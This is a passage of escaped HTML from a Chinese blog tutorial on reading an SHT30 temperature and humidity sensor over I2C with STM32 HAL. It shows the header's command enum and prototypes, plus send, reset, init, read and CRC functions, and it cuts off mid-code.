class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e:我们使用的是:\u003ccode\u003ehi2c2\u003c/code\u003e,传地址\u003ccode\u003e\u0026amp;hi2c2\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_ADDR_RD\u003c/code\u003e:我们宏定义了读的地址,传读的地址\u003ccode\u003e#define SHT30_ADDR_RD ((SHT30_ADDR\u0026lt;\u0026lt;1) | 0x01)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003ebuf\u003c/code\u003e:我们将获取到的数据保存在\u003ccode\u003ebuf\u003c/code\u003e中\u003c/li\u003e\u003cli\u003e\u003ccode\u003eSHT30_DATA_SIZE\u003c/code\u003e:宏定义,6个字节\u003ccode\u003e#define SHT30_DATA_SIZE 6\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0xFFFF\u003c/code\u003e超时:\u003ccode\u003e0xFFFF\u003c/code\u003e(4 294 967 295也就是无符号整型所能表示的最大值)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"头文件-sht30-h\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%A4%B4%E6%96%87%E4%BB%B6-sht30-h\" class=\"headerlink\" title=\"头文件 sht30.h\"\u003e\u003c/a\u003e头文件 \u003ccode\u003esht30.h\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e在头文件中我们提前定义好相关命令与函数原型。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eenum\u003c/code\u003e用于定义枚举类型,它本质上是一种整数类型。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifndef\u003c/span\u003e \u003cspan class=\"token expression\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eINC_SHT30_H_\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stm32f4xx_hal.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_WR\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_ADDR_RD\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_ADDR\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eSHT30_DATA_SIZE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eenum\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 软件复位命令 */\u003c/span\u003e SOFT_RESET_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x30A2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 单次测量模式 命名格式:Repeatability_CS_CMD CS: Clock stretching */\u003c/span\u003e HIGH_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C06\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C0D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_ENABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2C10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2400\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x240B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_DISABLED_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2416\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式 命名格式:Repeatability_MPS_CMD MPS:measurement per second */\u003c/span\u003e HIGH_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2032\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2024\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_0_5_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x202F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2130\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2126\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_1_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x212D\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2236\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2220\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_2_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x222B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2334\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2322\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_4_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2329\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e HIGH_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2737\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e MEDIUM_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x2721\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e LOW_10_CMD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x272A\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 周期测量模式读取数据命令 */\u003c/span\u003e READOUT_FOR_PERIODIC_MODE \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xE000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e SHT30_CMD\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* INC_SHT30_H_ */\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"主要文件-sht30-c\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E4%B8%BB%E8%A6%81%E6%96%87%E4%BB%B6-sht30-c\" class=\"headerlink\" title=\"主要文件 sht30.c\"\u003e\u003c/a\u003e主要文件 \u003ccode\u003esht30.c\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e先包含主要的一些头文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;i2c.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sht30.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送指令\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%8F%91%E9%80%81%E6%8C%87%E4%BB%A4\" class=\"headerlink\" title=\"发送指令\"\u003e\u003c/a\u003e发送指令\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 向SHT30发送一条指令(16bit) * @param cmd —— SHT30指令(在SHT30_MODE中枚举定义) * @retval 成功返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_CMD cmd\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd \u003cspan class=\"token operator\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"复位SHT30\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%A4%8D%E4%BD%8DSHT30\" class=\"headerlink\" title=\"复位SHT30\"\u003e\u003c/a\u003e复位SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 复位SHT30 * @param none * @retval none*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSOFT_RESET_CMD\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"初始化SHT30\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E5%88%9D%E5%A7%8B%E5%8C%96SHT30\" class=\"headerlink\" title=\"初始化SHT30\"\u003e\u003c/a\u003e初始化SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003e/** * @brief 初始化SHT30 * @param none * @retval 成功返回HAL_OK * @note 周期测量模式*/uint8_t SHT30_Init(void) {return sht30_send_cmd(MEDIUM_2_CMD);}\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"读取数据\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#%E8%AF%BB%E5%8F%96%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"读取数据\"\u003e\u003c/a\u003e读取数据\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 从SHT30读取一次数据 * @param dat —— 存储读取数据的地址(6个字节数组) * @retval 成功 —— 返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eREADOUT_FOR_PERIODIC_MODE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"CRC-8校验\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/6c49/#CRC-8%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"CRC-8校验\"\u003e\u003c/a\u003eCRC-8校验\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eCRC8_POLYNOMIAL\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x31\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token 